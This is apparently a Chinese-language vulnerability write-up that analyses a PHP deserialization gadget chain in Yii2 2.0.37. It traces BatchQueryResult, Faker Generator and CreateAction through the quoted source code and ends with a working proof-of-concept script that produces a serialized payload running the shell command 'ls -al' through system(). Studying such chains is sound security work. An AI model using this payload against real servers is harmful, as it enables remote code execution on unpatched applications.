由于我本地的composer不知道为啥特别慢(换源也不管用),所以这里直接去Yii2
的官方仓库里面拉。
选择一个漏洞影响的版本yii-basic-app-2.0.37.tgz
解压到Web目录,然后修改一下配置文件。
/config/web.php
:
给cookieValidationKey
字段设置一个值(如果是composer拉的可以跳过这一步)
接着添加一个存在漏洞的Action
/controllers/TestController.php
:
测试访问:
搭建成功
由于没有漏洞细节,我们可以去Yii2
的官方仓库看看提交记录。
yiisoft/yii2
在最新版中官方给yii\db\BatchQueryResult
类加了一个__wakeup()
函数,直接不允许反序列化这个类了。
所以这里猜测该类为反序列化起点。
/vendor/yiisoft/yii2/db/BatchQueryResult.php
:
<?php namespace yii\db; class BatchQueryResult{ /** ...... */ public function __destruct() { $this->reset(); } public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; } /** ...... */ } ?>
可以看到__destruct()
调用了reset()
方法
reset()
方法中,$this->_dataReader
是可控的,所以此处可以当做跳板,去执行其他类中的__call()
方法。
全局搜索function __call(
其中找到一个Faker\Generator
类
/vendor/fzaninotto/faker/src/Faker/Generator.php
:
<?php namespace Faker; class Generator{ /** ...... */ public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } public function __call($method, $attributes) { return $this->format($method, $attributes); } /** ...... */ } ?>
可以看到,此处的__call()
方法调用了format()
,且format()
从$this->formatter
里面取出对应的值后,带入了call_user_func_array()
函数中。
由于$this->formatter
是我们可控的,所以我们这里可以调用任意类中的任意方法了。
但是$arguments
是从yii\db\BatchQueryResult::reset()
里传过来的,我们不可控,所以我们只能不带参数地去调用别的类中的方法。
到了这一步只需要找到一个执行类即可。
我们可以全局搜索call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
,得到使用了call_user_func
函数,且参数为类中成员变量的所有方法。
查看后发现yii\rest\CreateAction::run()
和yii\rest\IndexAction::run()
这两个方法比较合适。
这里拿yii\rest\CreateAction::run()
举例
/vendor/yiisoft/yii2/rest/CreateAction.php
:
<?php namespace yii\rest; class CreateAction{ /** ...... */ public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } /* @var $model \yii\db\ActiveRecord */ $model = new $this->modelClass([ 'scenario' => $this->scenario, ]); $model->load(Yii::$app->getRequest()->getBodyParams(), ''); if ($model->save()) { $response = Yii::$app->getResponse(); $response->setStatusCode(201); $id = implode(',', array_values($model->getPrimaryKey(true))); $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true)); } elseif (!$model->hasErrors()) { throw new ServerErrorHttpException('Failed to create the object for unknown reason.'); } return $model; } /** ...... */ } ?>
$this->checkAccess
和$this->id
都是我们可控的。所以整个利用链就出来了。
yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()
还是挺简单的一个漏洞
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls -al'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>